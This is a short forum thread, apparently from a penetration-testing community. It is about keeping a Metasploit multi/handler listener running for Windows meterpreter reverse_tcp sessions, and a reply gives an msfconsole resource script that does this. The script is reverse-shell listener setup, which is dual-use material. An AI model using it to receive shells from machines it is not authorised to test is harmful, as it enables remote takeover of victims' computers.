Results 1 to 2 of 2

Thread: Metasploit with a persistent handler

  1. #1
    Good friend of the forums williamc's Avatar
    Join Date
    Feb 2010
    Chico CA

    Default Metasploit with a persistent handler

    This was previously working, so I'm at a loss. Basically, I want to run the following listener command:

    ./msfcli multi/handler payload=windows/meterpreter/reverse_tcp LHOST 172.25.x.x. LPORT=4444 ExitOnSession=false J
    The last two command arguments are no longer working. ExitOnSession is not recognized, and the J option for running in the background isn't available anymore. Any ideas on how to get these two options working? Thanks.

  2. #2
    Just burned his ISO
    Join Date
    Apr 2012

    Default Re: Metasploit with a persistent handler

    I've stopped using msfcli. I used to as i thought it was faster but now im using a two scripts to start msfconsole. The one i store somewhere in the computer, and the other i store on my desktop. the desktop one only needs to look like this
    msfconsole -r /location of second script
    and then the second script i store in /root/scripts/starter.rc and to do the same thing that your command above does you need it to contain this
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 172.25.x.x
    set LPORT 4444
    set ExitOnSession false
    exploit -j -z
    I understand i havent really answered your originial question sorry. (i also hate it when people do this to me) I know you can do it the way you want but i cant remember sorry
    I hope this method works just as well for you.

Similar Threads

  1. Metasploit - handler failed to bind to
    By alfati in forum BackTrack 5 Beginners Section
    Replies: 12
    Last Post: 08-31-2011, 10:10 PM
  2. SSH into metasploit handler?
    By Chaemelion in forum OLD BackTrack 4 General Support
    Replies: 0
    Last Post: 04-02-2010, 09:25 PM
  3. Starting the payload handler Help!!
    By 2dfast in forum OLD Pentesting
    Replies: 1
    Last Post: 10-26-2009, 11:48 AM
  4. The kde crash handler
    By gvnn_86 in forum Angolo dei Newbie
    Replies: 1
    Last Post: 09-03-2009, 04:37 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts